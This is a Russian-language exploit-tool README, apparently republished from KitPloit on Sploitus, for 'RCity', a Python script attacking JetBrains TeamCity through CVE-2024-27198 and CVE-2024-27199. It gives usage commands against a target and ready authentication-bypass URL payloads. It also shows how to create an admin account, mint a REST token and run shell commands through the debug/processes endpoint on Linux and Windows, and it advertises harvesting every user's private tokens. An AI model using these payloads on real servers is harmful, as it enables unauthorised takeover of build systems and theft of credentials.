Sploitus

Exploit for RCity

kitploit · 2026-08-25

Exploit Code

MARKDOWN139 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-STUUB-RCITY-CVE-2024-27198
# RCity - CVE-2024-27198 (RCE & Создание учетной записи администратора) & CVE-2024-27199 (Обход аутентификации)

**Эксплуатация CVE-2024-27198 и CVE-2024-27199**

RCity — это скрипт на Python, который взаимодействует с уязвимым сервером TeamCity. CVE позволяет несанкционированное создание учетной записи администратора, обходя ошибки 403 на домене. А также позволяет достичь RCE через маршрут Debug/Processes.

## Использование

Чтобы использовать скрипт, необходимо указать URL целевого сервера TeamCity в качестве аргумента командной строки с помощью параметра `-t` или `--target`:

root@kitploit:~
    
    
    python3 RCity.py -t http://teamcity.com:8111
    

Вы можете увеличить подробность вывода с помощью опции `-v` или `--verbose`:

root@kitploit:~
    
    
    python3 RCity.py -t http://teamcity.com:8111 --verbose
    

Вы можете отправлять одноразовые команды напрямую с помощью опции `-c` или `--command`, **если вам нужен интерактивный shell, НЕ используйте эту опцию.** Она не дружественна к reverse shell, так как соединение закрывается после отправки команды:

root@kitploit:~
    
    
    python3 RCity.py -t http://teamcity.com:8111 -c id
    

Вы можете гарантировать, что никакие POST-запросы не будут отправлены на сервер TeamCity, используя опцию `-s` или `--stealth`:

root@kitploit:~
    
    
    python3 RCity.py -t http://teamcity.com:8111 -s
    

Отключает функцию RCE - всё остальное остается без изменений

root@kitploit:~
    
    
    python3 RCity.py -t http://teamcity.com:8111 --no-rce
    

Предотвращает сбор списка пользователей, что может быть затратным по времени на больших списках пользователей. Перейдите сразу к RCE с помощью этой опции!

root@kitploit:~
    
    
    python3 RCity.py -t http://teamcity.com:8111 --no-enum
    

## Возможности

  * Создание учетной записи администратора
  * Удаленное выполнение кода
  * Генерация токенов авторизации
  * Перечисление пользователей
  * Сбор всех приватных токенов авторизации пользователей
  * Получение информации о сервере



## Пример

![image](https://assets.kitploit.com/production/public/readmes/20884/3502817f93721bedb7506ca7feedb0cb62fcd2da3e8e8820649f64fe63774c79.png)

## RCE

![image](https://assets.kitploit.com/production/public/readmes/20884/c6f1518fbf0339d5b2defb7bdd3bed919661d9f2d42286978fb775c4b4dd00e9.png)

## Генерация токенов

![image](https://assets.kitploit.com/production/public/readmes/20884/5f779d0ef0466ef4df4acff5b52fdae296ced70a38a10abb8da9940d95976913.png)

## Документация

Здесь я опишу функции, используемые в этом проекте, чтобы дать вам лучшее понимание этого эксплойта и связанных с ним уязвимостей.

## Предыстория

Природа уязвимости связывает обе CVE-2024-27198 и 99 из-за того, что проблема возникает из-за одного и того же обхода аутентификации для маршрутов REST API на серверах JetBrains TeamCity. Однако воздействие данной уязвимости различается, и становится интересным... CVE-2024-27198 является реальным тяжеловесом на бумаге из-за ее заявленного воздействия RCE, использует конечную точку `/app/rest/debug/processes`, **ТОЛЬКО** с разрешениями для выполнения необходимых запросов к этой конечной точке через токен аутентификации. Этот вызов к этой конечной точке различается между хостами Unix и Windows, однако манипулируется аналогично, единственное отличие — это нативный shell, который вызывается для запроса.

Linux - `processes?exePath=/bin/sh&params=-c&params={yourRCE_HTMLEncoded}`

Windows - `processes?exePath=cmd.exe&params=/c&params={yourRCE_HTMLEncoded}`

## Обход аутентификации

Как упоминалось ранее, это невозможно без аутентификации, должно быть безопасно... верно? Вот где вступает в дело обход аутентификации.

Обход политики сборки TeamCity открывает возможность делать запросы к серверу и помещать туда наш токен аутентификации, даже технически не имея своей учетной записи.

Сам обход заключается в создании альтернативного пути к маршрутам REST, который, не вдаваясь в подробности, требует контроля содержимого класса, задача которого обрабатывать запросы, особенно те, которые не являются 302 (перенаправлениями), что затем позволяет нам управлять им, добавляя 3 необходимые части в наш URL.

  1. Неаутентифицированная конечная точка, которая не вызовет 302, в нашем случае `/hax`
  2. Параметр строки запроса URL с именем `jsp` для запроса маршрутов API, например, путь `users` \- `?jsp=/app/rest/users`
  3. Произвольный путь URI, заканчивающийся на .jsp. Это можно сделать, добавив сегмент параметра пути HTTP `;.jsp`



Таким образом, итоговая полезная нагрузка для выполнения неавторизованных запросов к конечной точке пользователей: `/hax?jsp=/app/rest/users;.jsp`

Теперь мы можем делать запросы к конечной точке пользователей и добавлять своих пользователей, даже администраторов!

Однако прежде чем перейти к RCE, нам нужен токен аутентификации, как носитель для наших запросов RCE к их REST API. Теперь, когда у нас есть обход, нет проблем — мы его сделаем!

## Генерация токена REST API --> RCE

Конечная точка токена следовала тому же дереву путей, что и предыдущий пример, её можно найти по адресу `/app/rest/users/id:{user_id}/tokens/{token_name}`. Итак, давайте создадим ещё одну полезную нагрузку, чтобы обойти аутентификацию и создать токен!

_(Мы сами задаём имя токена, для этого скрипта это случайная генерация буквенно-цифровых ASCII-символов)._

`/hax?jsp=/app/rest/users/id:{user_id}/tokens/{token_name};.jsp`

После выполнения POST-запроса для добавления токена нашему новому пользователю, мы теперь можем начать делать запросы к маршруту `/app/rest/debug/processes`!

Ничего особенного в создании наших полезных нагрузок RCE, просто закодируйте полезные нагрузки в HTML в аргументе params!

## 

**Удачного взлома!**

## References

https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/

https://nvd.nist.gov/vuln/detail/CVE-2024-27198

https://github.com/W01fh4cker/CVE-2024-27198-RCE

## Отказ от ответственности

Этот скрипт предназначен только для образовательных целей. Используйте его ответственно и только в системах, к которым у вас есть разрешение на доступ.